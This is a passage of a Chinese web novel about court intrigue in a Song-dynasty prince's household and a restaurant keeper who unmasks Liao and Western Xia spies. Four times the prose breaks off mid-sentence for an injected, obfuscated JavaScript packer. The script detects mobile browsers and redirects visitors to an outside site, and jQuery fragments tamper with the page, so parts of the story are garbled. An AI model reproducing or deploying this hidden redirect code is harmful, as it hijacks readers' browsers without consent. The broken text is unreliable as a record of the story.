她放下银剪,拿起帕子慢条斯理地擦着手,“他如今翅膀是硬了,我们在他身边安插的人,折了一茬又一茬,个个都被他用各种由头清得干干净净,半点把柄都抓不住。” 沈昭明闻言,脸上闪过一丝阴鸷:“可不是么!费尽心思送进去的人,不是被查出‘手脚不干净’打发到庄子上,就是‘意外’犯了军规被处置。他现在是铁板一块,针插不进,水泼不进。” 他眼珠一转,压低声音,带着几分狠辣献计:“母妃,既然动不了他本人,不如从外面下手!他如今军功赫赫,风头无两,我们正好可以推波助澜,让他‘功高震主’,‘居心叵测’!让官家猜忌他……” “糊涂!” 王妃猛地打断他,眼神锐利如刀,“你这计策,是杀敌一千,自损八百!且不说这只是他第一次领兵打仗,又年纪尚轻,还远不到功高震主的程度,就算是真的到了,官家猜忌他拥兵自重,难道会只惩罚他一人?到时候,整个宁王府被削爵、圈禁,都是轻的!你还有什么世子之位可以承袭?你还能剩下什么?!” 沈昭明被母亲疾言厉色地一喝,顿时语塞,脸色一阵青白。 王妃见他如此,语气稍缓,却更显森冷:“我们要的是他身败名裂,被逐出王府,而不是拉着整个王府给他陪葬。硬刀子不能用,就用软刀子。一个人立身的根本是什么?是名声!我们要让他‘德不配位’!” “今日他不是又和你父王吵了一架吗?这便是现成的由头。你立刻去找几个靠得住的下人,让他们将今日宁荣堂的冲突,添油加醋地传出去。重点要突出他如何顶撞他的父亲,如何‘怨怼不平’。” “孝道大于天,一个不孝的罪名若坐实了,也足以让他抬不起头!” 她缓缓起身,踱步到窗前,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915432|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光阴冷:“你再去找几个曾在军中与他有过节的下级军官,许以重利,让他们在合适的场合‘酒后吐真言’,就说沈昭行治军严苛到了不近人情的地步,动辄鞭打士卒,甚至克扣军饷。” 沈昭明眼中闪过一丝疑惑:“母妃,这些风言风语,现如今怕是伤不了他分毫。” “急什么。”王妃转身,唇边泛起一抹深不可测的笑意,“这些流言就像种子,先悄悄撒下去。眼下他刚打了胜仗,这些自然无人在意。但这世上从无常胜将军。待到他日他兵败受挫之时,这些流言便会被人翻出来大做文章。到那时,今日埋下的每一句闲言,都会成为刺向他咽喉的利刃。” 沈昭明眼中闪过明悟的光芒:“母妃深谋远虑!儿子明白了,这就去安排。” “记住,”王妃的声音轻柔却冰冷,“我们要做的,是先把种子埋下,然后在最恰当的时机,给他最致命的一击。” 沈昭明看着母亲谈及兄长时那毫不掩饰的冰冷与算计,一股寒意竟不自觉地顺着脊背爬了上来。他忙低下头,掩饰住自己一瞬间的恍惚。 他其实至今不明白,都是母亲亲生的儿子,为何她对待兄长,竟能狠绝至此? 他记得小时候,大哥也曾天真地想讨好母亲,得来的却永远是疏远的客套和冰冷的训诫。而他,只需撒个娇、犯个错,母亲虽会斥责,眼神里却总带着温度。 他一直将这归因于自己是幼子,更得宠爱。可随着年龄渐长,他越来越清晰地感觉到,母亲对大哥,不仅仅是严苛,那是一种……仿佛看待仇敌般的、深入骨髓的厌弃。 那时,他心头甚至会掠过一丝模糊的怜悯。 可那点微弱的怜悯,早已在年复一年的比较中被碾得粉碎。 沈昭行太优秀了,文采韬略,军政庶务,无一不精,无一不通,像一轮迫人的骄阳,将他衬得黯淡无光。父亲口中那句“多跟你大哥学学”,如同绵里针,刺得他日夜难安。 而那高高在上的世子之位,也是他可望而不可即的存在。 怜悯?早没了。 如今盘踞在他心头的,是灼人的嫉妒,是不甘,是恐惧。 他不知道这些年的苛待和白眼,若有朝一日父亲去了,沈昭行承袭宁王之位,他会落得怎样的下场。 想到这里,他心底那点因母亲狠辣而生的寒意,竟奇异地消散了,转而化作一股庆幸的暖流。 幸好,母亲是站在他这一边的。 16.鱼儿上钩了 第二日清晨,盈玥刚从后门踏进丰乐楼,小玉便迎了上来,看样子已在等候多时,她焦急道:“掌柜的,今天早上小五子去后面的井边挑水,不小心被石头绊倒了,两桶水都泼在了‘雪浸春’的佐料上,麻袋里的干果此刻都不能用了!我们好些预定的酒今日要送出去的,现下恐怕不好交代了。” 现形了! 盈玥眼底寒光一闪,面上却不动声色,只淡淡道:“知道了。” 小玉见她如此平静,更是着急:“掌柜的,您……您要不要赶紧去看看?” “自然是要去的。”盈玥唇角掠过一丝几不可察的冷笑。 不去,这出戏怎么唱得圆满?那探子又如何能显出他的“本事”呢? 来到后院,只见那装着珍贵干果的麻袋湿漉漉地瘫在地上,几个伙计围在一旁,面露愁容。 盈玥也立刻蹙起眉头,脸上堆满了恰到好处的焦急,喃喃道:“这下可怎么办?订酒的都是一些豪门显贵,我们丰乐楼刚开张,这种客人可万万不能得罪,更不能拱手送到其他酒楼那里去啊!” 说罢,她看向众人,语气带着期盼:“你们可有好办法处理?董师傅怎么说?” 庆喜上前屈身回道:“已询问过董师傅,他说这干果受潮,即使晒干,也要一日的功夫,且晒干后味道也和从前大不相同,恐怕交酒的日子是不得不往后延了。” 他又补充道:“眼下存酒还有一些,我跟伙计们说,散客的雪浸春今日都不卖了,攒下的酒我们先给要紧的客人送去。剩下的订单,我们备些精致礼品,亲自登门致歉,略略补过。掌柜的,您看这样可以吗?” 盈玥无奈地轻叹一声,揉了揉额角:“事已至此,也只能先这样应急了。” 说罢,她便佯装疲惫与失望,准备转身回房。 果然,就在她脚步将移未移的刹那,一道略显憨厚又带着点小心翼翼的声音响了起来:“掌柜的……小人,小人或许有法子。” 盈玥恰到好处地停下脚步,带着一丝“意外”回过头。只见说话的是那十三人中的一个,长相普通,衣着朴素,正是那种扔进人堆里便找不出来的模样。 “你?”盈玥上下打量他,眼神里带着恰到好处的审视与一丝不抱希望的询问,“有什么法子?” 那人被她的目光看得似乎有些紧张,憨厚地挠了挠头,才低声道:“小的叫孙小乙,老家靠近山货集市,知道这种果子受潮后,需用微火慢烘,再佐以几种常见香料一同翻炒,或可挽回大部分风味,甚至……可能激发出更独特的香气。掌柜的若信得过小的,小的愿意一试!” 盈玥闻言,脸上瞬间“由阴转晴”,浮现出惊喜又宽慰的笑容:“当真?若你真的能把事情处理妥当,解决了眼下的大麻烦,便留在丰乐楼吧!你的这个技能,对我们可是大有用处!” “多谢掌柜的!多谢掌柜的!”孙小乙喜不自胜,忙不迭地低头领命,姿态放得极低,仿佛真是个得了天大恩典的粗鄙下人。 然而,在他低垂的眼睑之下,却飞快地闪过了一丝计谋得逞的狡黠与得意。 二楼的书房内,晨光透过窗棂。叶十九垂手立在光影交界处,声音低沉:“一个已经现形了。只看剩下的人里,还有多少藏不住的。” 盈玥坐在案后,面前摊开的是数册装帧严谨、条目分明的卷宗——这都是沈昭行送来情报收录。 她随手翻开一册,目光掠过之处,心下微震。 卷宗不仅详述辽国北南枢密院的权职更迭、后族与皇族的势力消长,竟连几位实权人物府中得宠姬妾的籍贯来历、性情喜好,乃至她们母族在地方的产业分布,都一一在列,细如发丝。 盈玥再翻一册,西夏部分则精确到几位宗室将军之间的姻亲脉络与私下嫌隙。更有甚者,连一位枢密重臣因其幼子体弱,常年重金求购关内特定药材的渠道,都做了批注。 简直是一套近乎完备的敌国《枢要辑录》! 这已远超寻常功夫所能及,分明是经年累月、多线并进的深度渗透,方能织就如此细密的情报之网。可见沈昭行其志,绝非仅在于守成。 她目光未离书页,只淡淡道:“不急,不是还有一整日的工夫么。” 她一直翻阅至将近傍晚,待要起身返回清虚观时,前堂却突然传来一阵刺耳的吵嚷。 盈玥指尖一顿,唇边掠过一丝若有似无的弧度。 第二个,到底也忍不住了。 她步入大堂时,夕阳正好照亮了那混乱的一幕:一个满脸横肉的汉子死死攥着一个女孩的手腕,粗声骂道:“死丫头,躲这儿享福?工钱结了就跟我走!楚云台的刘妈妈可等着你呢,签了死契,由不得你反悔!” 那女孩被他拽得踉跄,泪流满面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915433|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哀声哭求:“哥,我不去那种地方……我再多做几份工还你钱,求你别卖我……” 那汉子扬手便要打,被庆喜与茜雪等人死死拦住。 “住手。”盈玥声音不高,却像一道无形的冰线,瞬间凝住了那汉子的动作。 茜雪连忙上前:“掌柜的,这姑娘叫春桃,那汉子是她兄长。他们家欠了债,因今日我们将春桃辞了,她兄长便急了,非要拉她去……那种地方。” 很好。盈玥心中冷笑,这是将她的底细摸清了,知道她看不得女子落难,特意选在人来人往的傍晚,演这一出人尽皆知的苦肉计。 春桃趁机挣脱,扑跪在盈玥面前,单薄的身子在夕阳的光束中抖得如同风中落叶,泪水涟涟:“掌柜的,求您让我留下吧!我什么都能做,洗衣服、刷碗、倒夜香都行……我不要工钱,只要有个地方住,有口饭吃就行,我不想被卖进去……” 盈玥看着她这足以乱真的表演,面上却适时地流露出不忍,轻轻叹了口气,对茜雪吩咐道:“把春桃的行李拿回后院吧。她不用走了。” 暮色渐合,残阳如血,将飞檐翘角都镀了层凄艳的金红。盈玥立在楼前,望着渐渐沉落的日头,心却像浸在雪水里。 这不见刀光的仗,算是开场了。 这并非边关的金戈铁马,而是暗巷里的短兵相接,是东京城内另一处无声却同样致命的战场。 盈玥理了理袖口,临登车前,侧身对叶十九低声嘱咐:“去回将军的话,今日失足泼水的小五子,并那个来寻妹的莽汉,都请将军的人细查一番底细。” 叶十九躬身应了个“是”,略迟疑片刻,终是开口:“您的意思……莫非觉着他们也是探子吗?” 盈玥微微摇首,声音轻得像一阵风:“十有八九不是。那孙小乙既敢行此险招,断不会寻个知根底的同伙,平白授人以柄。小五子多半是枚被摆布的棋子,那莽汉……瞧着倒像市井里拿钱办事的破落户。” 她收回视线,落在叶十九身上,眸色沉静如水,却透着一股子不容错辨的凝重:“只是如今咱们做的事情,是半步也错不得的险棋。宁可多费些周折查证清楚了,也强过将来因一时疏忽,酿成大祸。让将军那边使力去查,咱们这儿,才能真正安下心来。” 叶十九神色一凛,当即肃然道:“小人明白了。掌柜的放心,这话必定传到。” 17.兆慧郡主 是夜,宁王府世子院里灯火通明。书房内,沈昭行端坐在紫檀木大案后,指尖轻轻叩着案面,听着叶十九低声回话:“...那两个探子已然上钩,接下来只需取得他们的信任...” 沈昭行声音低沉,“你去告诉杜盈玥,需要什么尽管开口。” 叶十九躬身:“是。” “丰乐楼那处密室修建得如何了?”沈昭行又问。 “借着挖酒窖的名义,清明前已经完工。入口设在潘楼隔壁的打铁铺里,是咱们自己的产业。到时您只说是去潘楼用膳...” 话音未落,就听见院外传来一阵轻快的脚步声,伴着清脆的呼唤:“哥哥!” 守在门外的江开连忙低声通传:“世子殿下,郡主来了。” 叶十九会意,立即闪身隐入屏风之后。 “吱呀——”房门被推开,兆慧郡主捧着个剔红食盒走了进来。烛光下,她绯色的裙摆轻轻摇曳,发间的珠钗发出细碎的声响。 “哥哥!”她将食盒放在案几一角,动作再自然不过。 沈昭行像是方才从沉思中回过神来,抬眼见到是她,眉宇间的凛冽顿时柔和了几分:“这么晚了,怎么还不歇息?” “我见哥哥书房还亮着灯,定是在为公务劳神。”兆慧说着,目光在他略显疲惫的脸上打了个转,心头微微一紧。她想起母亲待他总是不好,自幼便是如此,这让她在敬爱兄长之余,更多了几分说不清道不明的心疼。 她伸手想去抚平他微蹙的眉心,却见沈昭行不着痕迹地侧了侧身:“无妨,不过是些寻常公务。” 兆慧的手在半空中顿了顿,转而执起茶壶,为他续了盏热茶,“哥哥莫要太过操劳”她声音软了几分,“我新得了些云岭雾尖,明日就给哥哥送来。” 她倚在书案旁,絮絮地说起今日在府中的见闻,一会儿是园子里的海棠开了,一会儿是厨房新来的厨娘做点心很有一手。沈昭行静静地听着,偶尔颔首,冷峻的侧脸在烛光映照下显得柔和了许多。 “哥哥”她忽然想起什么,扯住他的衣袖轻轻摇晃,“父王新得了一匹照夜玉狮子,我想骑着它去参加马球会。可那马性子太烈,旁人都降不住,哥哥能不能帮我去驯服它?” 沈昭行看着她满是期待的眼睛,那目光清澈得能映出人影。他沉吟片刻,终是点了点头:“好。不过你去马球会时,定要有熟手的驯马师在一旁照应,否则不许骑。” “知道啦!哥哥最好了!”兆慧顿时笑逐颜开,心满意足地松开了手。她又在书房里逗留了片刻,直到沈昭行再三催促,这才依依不舍地离去。 房门轻轻合上,书房内重归寂静,只余那碟点心散发着淡淡的甜香。沈昭行望着食盒,眼神温和。 这份纯粹的兄妹之情,于他而言,是冰冷的人生中,为数不多的温暖。 却说那孙小乙与春桃,自打留在丰乐楼后,明里是勤恳本分的伙计和杂役,暗地里却都未曾闲着。不过三五日工夫,二人便各自寻了由头,或借采买之机,或托送物之名,各自递出去了一封密信。 孙小乙那封信,是塞进西市胡饼店灶膛暗格里的一块焦炭;春桃那份,则藏在城外一个姓白的粮商预定好的酒坛中。 二人自认做得隐秘,却不知他们的一举一动,早落在了暗处那些紧盯着的眼睛里。 早在他们踏出丰乐楼的那一刻,沈昭行安排在附近的扮作货郎、乞丐的属下,就远远都跟了上去。 他们跟的并不是信本身,而是信送出后的“路”。 黄昏时分,两只不起眼的灰鸽自不同方向掠出东京府。一只往北;一只往西。 叶十九立在盈玥的房间中,声音平直无波:“掌柜的,查清了。孙小乙是辽国的细作,春桃是西夏的暗探。” 他顿了顿,补上一句:“密信内容并未请将军安排的人截获,按您的吩咐,只查路线,不动信件。” 盈玥神色未动,只淡淡道:“知道了。告诉将军,好戏可以开场了。” 没出几日便到了官员休沐的时间,丰乐楼里外比往常更添了几分热闹。孙小乙与春桃都瞅准了时机,早早便各自认领了大堂的活计,以便随时探听消息。 “郎中令大人,您可有些日子没来了!您约的客人已经在听雨轩了...”门口传来庆喜热络的嗓音,瞬间便牵动了大堂内的两双耳朵。 孙小乙正提着铜壶给一桌客人续水,闻声手上动作一顿,眼角余光已飞快地扫向门口。 只见一位身着湖蓝常服、年约四旬的官员,脸上带着些许矜持和疲惫,腰间那里悬着一枚织金的荷包,并一个约两掌长、一掌宽的青布卷囊,用细绳系着,此刻正负着手迈进门来,跟着他的五六个随从侍候在楼外。 春桃在柜台后,也微微抬起了头,手中擦桌子的动作也停了一霎。她领命来丰乐楼前,背过一些主要官员的长相,这个人她有印象,虽然职位不高,但是负责的内容要紧,是专管戍卒轮换调度的。 孙小乙已放下铜壶,脸上堆起恰到好处的笑意,快步迎了上去:“大人安好。庆喜哥哥,你楼下事忙,小的引周大人去楼上雅间吧。” 他这话说得恭敬又自然。庆喜自然也乐得有人分劳。 孙小乙将郎中令周慎引入雅间“绛雨轩”,只见里头已坐着一位面容丰满、留着三缕长须的中年人,正自行斟 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“正是。虽说只是五千人的调度,但枢府催得紧,下面报上来的情形又纷繁复杂,核对图籍、勘算里程粮秣,一丝也错不得” 周慎轻叹一声,接着是瓷器轻碰的声响,似是举杯饮酒。 “难怪见你气色略显疲乏。这等机要,老兄还需仔细,但也要注意身体,莫要过于劳神”子明劝慰道。 门外的孙小乙,听到“河北东路戍防轮换”、“核对图籍”,“五千人“这几个字眼,心头那根弦骤然绷紧。 因为这个数字,和他前几日意外获取的另一条信息,对不上! 那天,他奉命去城西集市采买一批山货,在最大的粮行“永丰号”外歇脚时,恰巧听到两个伙计在一旁低声抱怨: “……这飞狐峪的差事真不好办,统共就七百人的粮,还非要分三批运,折腾人……” “……嘘,小声点!东家交代了,这数目不能对外说……” 虽飞狐峪是河北东路戍防轮换的必经之路,但因着人数不多,他以为只是寻常的轮值,当时他并未十分在意,可此刻,这“七百人”的数字,与周慎口中的“五千”,差距实在太大了! 是粮行伙计说错了?还是周慎说的有误? 又或者,两条信息都是假的! 凭借他多年的暗探经验,他立刻意识到,这绝非简单的误差! 保不齐是个诱饵! “这周慎必然是来试探丰乐楼内有无我朝暗探的,若有的话,刚好将计就计!好险!差点上当了!”想到这里,孙小乙的脊背瞬间沁出一层冷汗。 恰在此刻,他眼角余光瞥见楼下,春桃正端着一碟新切的时鲜果子袅袅婷婷上来。 18.孙小乙“认亲” 看见春桃上来,孙小乙怕被发现,便不再停留,悄无声息地退开,下楼往后厨传菜。 这日傍晚,正是丰乐楼一日里最忙的时候,所有人都在大堂和后厨忙着,孙小乙余光却瞥见盈玥独自往后院去了。 奇怪的是,这次她并未换上在杜府的装扮,也未带任何侍女,和以往下人不离身的举止大有不同,且回府的时间也略早了些。 他直觉有些不对,便悄悄跟了上去。 假山后一处无人的角落,孙小乙竟看见盈玥往一只鸽子腿上塞一张纸! 再定睛一看,可了不得! 那鸽子竟然是他们大辽特意训练过的信鸽! 而杜盈玥绑缚信筒时,尾指不自觉地轻叩三下了鸽腿——这是他们传递最高级“火漆密件”时的习惯性确认动作,源于多年前一次因信筒脱落导致重大损失后形成的内部规范。 此细节非核心人员不可能知晓,更难以伪装。 孙小乙脑中“嗡”的一声,所有线索瞬间串联起来! 难怪!她一介女流,竟然想得到易容伪装,还懂如此高明的经营手段。 她竟然也是我们的人?! 那她传递的信息是什么? 难道是那个要命的河北东路戍防轮换情况?! 可为何首领没有告诉过我,丰乐楼的掌柜的也是自己人? 除非……她不是我们这边的人! 可万一她也是宋人设下的圈套。故意来诱导我怎么办? 不行,我得想个办法确认…… 想到这里,他猛地从阴影里蹿出,压低声音喝道:“掌柜的!快住手!” 盈玥吓得浑身剧烈一颤,手中信鸽受惊,扑棱棱挣扎着飞起,却因腿上信筒未完全绑好,在半空打了个旋,竟又落回附近矮枝上,咕咕叫着。 盈玥脸色唰地变得惨白,慌忙将手中尚未塞完的纸条攥紧藏到身后,强自镇定,声音却带着不易察觉的颤抖:“孙小乙!你、你鬼鬼祟祟地干什么!” “那河北东路戍防轮换情况是假的!”孙小乙装作又急又气,指着她藏在背后的手,“飞狐峪的驻军人数不对!那是宋人做的局,专等着咱们往里跳呢!” “什么……什么飞狐峪?我不知道你在说什么!”盈玥连连后退,声音发颤,却咬死不认。 孙小乙见她如此,上前一把抓住她的手腕,目光灼灼:“海东青折翼处!” 听到这句话,盈玥下意识懵了一下。 看到她的反应,孙小乙确认了,她确实不是宋人的圈套,“掌柜的!我也是大辽的探子!我们是自己人!” 盈玥被他这突如其来的“认亲”和精准的暗号骇住了,挣扎不得,愣了几秒后,她才像是反应过来,眼中惊惶未退,却强撑起一股怒气,压低声音斥道:“什么自己人!我不知道你在说什么!” 孙小乙把她的色厉内荏、强装镇定却难掩眼底那一丝被说破秘密的慌乱看得清清楚楚,心中更加笃定!想到这里并不安全,后院随时会来人,快急得跳脚。 盈玥强装镇定,质问道:“你说我是辽人,又说你也是辽人,丰乐楼才刚开不久,怎么需要两个暗探!孙小乙!我同你素来无冤无仇,你何苦非要将这等灭九族的罪名安插在我的头上!” 孙小乙语气急促的声音中带着一丝肯定:“我早就想到了,你必然是南司的人,掌柜的,我是北司的,我们两方副司长一向不睦,你知道的,发生此等情况也实属正常啊,他们之前为了抢先对方拿到情报,还往潘楼前前后后派了四五号人去呢,只不过最近都被宋人抓了。” 盈玥看着他眼中毫不作伪的焦急,心知再否认已是徒劳。她像是被抽干了力气,颓然低头,声音细弱道:“好吧,我是南司直鲁姑大人的下属。原是宋朝边境的一个孤女,后被直鲁姑大人收养。” “七年前,杜荣晦从建州任上调入东京,杜盈玥身体不好,未能一起前行,过了两年才养好身体,我便在她来东京的路上,装作流寇作乱,把她连同丫鬟家丁等一行人全部抹掉,取代了杜盈玥。” “因她和父亲生疏,母亲早逝,平日又易容,在府中毫不起眼,且又处在长身体的阶段,原本选定她也是因我与她有六七分相似,扮演起来省力一些,因此并未被人察觉。” 她的背景,孙小乙潜入之前都做过周密的调查,对于她刚刚讲述的事情,他也都了解,只是想不到,那群流寇居然是他们大辽的人设下的计谋,用于瞒天过海。 孙小乙心道果然猜对了!她果然是南司的人,而他的那句“海东青折翼处”却是北司的口号。 若她是宋人派来的,那必然是最近大辽落网的暗桩反水了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946427|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以杜盈玥连轻叩三下了鸽腿这等细节都知晓,可若真的如此,又怎会不知道北司的这句暗号呢。 毕竟被抓的暗探有五六人,南司北司都有。 所以,只有一种可能,她真的是南司的人,所以才不知道北司的这句密语。 而她伪装成杜盈玥的手段,更是南司直鲁姑大人的招牌方式,因其布局的前瞻性,隐藏的周密和严谨程度,曾经写为他们入司学习的教案。 想到此处,孙小乙急忙道:“掌柜的,我知南司与北司素有嫌隙,可如今你我同在宋人腹心之地,犹如刀尖行走,稍有不慎便是万劫不复!今日这消息送出,连累的便是整个招安使司!” 他清楚的记得,临行前,他的上官告诉他,“咱们南司北司关起门来怎么争都行,可出了门,在上头眼里,从来就只有招安使司这一个衙门!一旦误传了要命的情报,导致上头判断失误,损兵折将,可汗怪罪下来,板子只会打在招安使司的头上!届时,管你南司北司,谁也跑不了,那才是真正的覆巢之下,焉有完卵!” “无论如何,我们先离开此处,从长计议!我孙小乙以北院先祖之名起誓,绝无害你之心,只求互通声气,共保平安,为国效力!”孙小乙言辞恳切,目光坦荡,手上力道也稍稍放松,却依旧握着她的手腕。 而盈玥被他握住的手腕先是下意识地抗拒紧绷,然后慢慢卸了力,同时几不可闻地叹了口气。算是接受了他的好意,她将那已被揉皱的纸条默默收回了袖中。 孙小乙看着她“柔弱惊魂未定”的模样,自觉肩负起了保护这位“身处险境的弱女子”重任,胸中豪情与责任感油然而生。 他警惕地看了看四周,低声道:“此处不宜久留,你快些回房易容,赶回杜府,装作无事发生。余下的事,交给我。” 盈玥点点头,不再多言,匆匆整理了一下鬓发衣衫,低着头,脚步略显虚浮地快步离开了后院。 直到她的身影消失,孙小乙才彻底放松下来,只觉得后背衣衫已被冷汗浸透,晚风一吹,凉意刺骨。他抬头望了望枝头那只终于飞走的信鸽,又看了看盈玥离去的方向,心中五味杂陈,但更多的是庆幸与一种找到“亲人”般的踏实。 他却不知,方才盈玥低垂的眼眸中,那凄楚惶惑之下,掠过的一丝几不可察的、冰冷静谧的幽光。 19.他的钱是哪儿来的 丰乐楼二楼的厢房里,盈玥正对镜细细描摹,用暗黄的脂粉一点点掩去原本莹润的肤色,再点上几处似是而非的浅斑。 她手中动作不停,声音平静无波:“那春桃也上钩了吗?” 叶十九垂手侍立在她身后半步,经此几遭,他对眼前这位女子的缜密与心计已是心服口服,闻言立刻答道:“周慎大人方才递了消息,说都已办妥了。” “嗯。”盈玥拿起一支细笔,轻扫眉梢,让眉毛显得更浓更厚重,“永丰号那两个伙计,别忘了打赏,也再提点一句,戏演完了,嘴巴就得闭严实些。” 她语气清淡,仿佛在说今日的天气。 叶十九脸上露出些许笑意:“掌柜的放心,永丰号本就是将军自家的产业,里头的人,都是精挑细选、嘴巴最牢靠的。” 盈玥闻言,手上的动作微微一顿。她转过身来,望向叶十九,像是突然想起什么似的:“此事我倒一直有些好奇。将军虽是宁王世子,尊贵无比,但终究尚未承袭爵位。” “按说份例俸禄都有定数。可这些日,我观将军私下的行事,调度银钱如流水,手面之宽绰,真是远出我的意料。是我见识浅薄,不知这顶级门户的底蕴究竟深厚到何等地步吗?” 叶十九见她问起这个,想起沈昭行“杜盈玥从今以后,是自己人”的吩咐,笑着解释道:“掌柜的有所不知,老宁王,也就是将军的祖父,昔年是跟着太祖皇帝马上打天下的从龙之臣,曾数次于万军之中护得太祖周全,情分非同一般。” “我朝立国后,老人家便被封了王,且是唯一一位特许世袭罔替的异姓王。因着不是宗室,又早早交了兵权,只做个富贵闲人,反倒让先皇格外放心,恩宠不衰。” “到了如今宁王这一代,虽是文臣,却掌着实实在在的权柄,这在当今诸位亲王中,也是独一份的。” 他话锋一转,语气里带上了一丝复杂:“也正因如此,王爷本人行事更是如履薄冰,处处谨慎,唯恐招来猜忌。在银钱用度上,向来是宁俭勿奢,从不似某些勋贵府邸那般穷奢极欲,恨不得把金子贴脸上。只是——” 叶十九顿了顿,抬眼看了看盈玥,才继续道,“咱们将军的性子,却与王爷大不相同。去年他毅然请缨从军,挣下的都是实打实的军功。这且不说,将军私下里,还经营着一桩极大的买卖——海外市舶贸易。” “海外市舶?”盈玥明眸微睁,语气带着毫不掩饰的讶异与兴趣。 “正是。”叶十九点头,详细说道,“就是将咱们大宋的丝绸、瓷器、茶叶、精巧器物,装上大海船,贩往南洋、西洋乃至更远的番邦。这一转手,利钱往往比朝廷专营的盐务还要高出三四成不止!” “况且这海贸之事,官家是下了明诏鼓励民间参与的,不像盐铁茶马那般看得死紧。只要能拿到市舶司的公凭,备好海船、货物、熟谙水路的向导,便可放胆去做。” “只是这门槛也高,非有雄厚本钱、可靠门路和过人的胆色不可,一个不好,便可能将本钱尽数赔进去,将军深谙此道,将这门营生做得风生水起。” 他眼中流露出钦佩之色:“只是将军并未将所得的钱财用于享乐,或者积攒下来作为体己,而是悄无声息地化作沿运河、临官道的诸多店铺、货栈、粮仓。” “这些商铺,明面上是寻常生意,暗地里都是化为耳目,为将军收集四方消息,探听民情,到今日已然效力匪浅。” 盈玥静静听着,指尖无意识地在手背上轻轻划过,心底逐渐思量起来。 原来如此。 手握军功实权,暗掌生财之道,又将财势化为无形的情报罗网。 这位宁王世子的眼光、手腕和格局远非常人能及,所图绝非眼下。 她倒是对他隐隐生出了几分好奇之心。 第二日正午,丰乐楼的第二场戏正在暗处准备上演。 不出盈玥所料,春桃拿到那份“来之不易”的河北东路戍防消息后,果然沉不住气。 她寻了个由头,跟管事的茜雪告假,只说是家里那不成器的兄长又在外面欠了赌债,被打得奄奄一息,需得赶紧回去照看。茜雪见她眼圈微红、言辞恳切,叮嘱了几句早去早回,便应允了。 谁知,春桃刚走到大堂门口,还未及跨过门槛,外头便呼啦啦涌进来一大群人! 为首的是一名身着公服、腰挎铁尺的都头,面容肃穆,身后跟着七八个手持水火棍的衙役,更有五六个膀大腰圆、面色精悍的官婆子,目光如炬,在堂内女眷身上扫来扫去。 原本喧闹的大堂瞬间安静了不少,食客们纷纷侧目,交头接耳。 那虞都头踏前一步,声若洪钟,对着闻讯赶来的庆喜及一众伙计宣布:“近日朝廷严查,拿获了不少敌国细作!上官有令,为保东京安宁,城内七十二家大酒楼、脚店,一律需得仔细搜查,以防有漏网之鱼藏匿!” 春桃心头猛地一坠,脚下像生了根,僵在原地。袖中那封密信,此刻仿佛一块烧红的炭,烫得她心慌意乱。她下意识地将手往袖子里缩了缩,指尖触到那硬挺的信封边缘,冷汗瞬间湿透了内衫。 怎么办怎么办! 眼下前有衙役婆子,后有店里的伙计食客,众目睽睽之下,这信如何处置? 若是被抓住了,行动也就失败了! 自己的命尚不足惜,可是她的上官——详稳使大人会放过自己的亲眷吗? 她不敢再想下去,一股狠绝之意从心底升起,垂在身侧的手微微收紧,指甲掐入掌心。 大不了,拼个鱼死网破! 就在她心念电转,几乎要有所动作之时,却听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949943|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的楼梯处传来了一道清丽的声音:“虞都头。” 众人循声望去,只见盈玥扶着栏杆,款款走下,声音清晰地说道:“都头奉公行事,小女子自然不敢阻拦。只是——” 她语气微顿,带着几分恰到好处的为难与体贴,“我这些伙计们都是男子,衙役大哥们搜查自是便宜。可这些杂役丫头、歌舞娘子,多是未出阁的姑娘家,在这大庭广众之下,若让衙役大哥们近身搜查,未免有损清誉,传扬出去,姑娘们往后可怎么议亲呢?” 她这话说得在情在理,又顾及了女子的名声。周遭不少食客,尤其是些带着家眷的,闻言都暗自点头,虽碍于衙门的官威,不敢大声附和,却也低声议论起来,堂内响起一片嗡嗡的赞同之声。 此等情况虞都头早已习惯,所以也提前做好了准备,他挥了挥手,对身后那些官婆子道:“既如此,你们便将楼中所有女眷,带到后面厢房,逐一仔细搜查,不得马虎!” “是!” 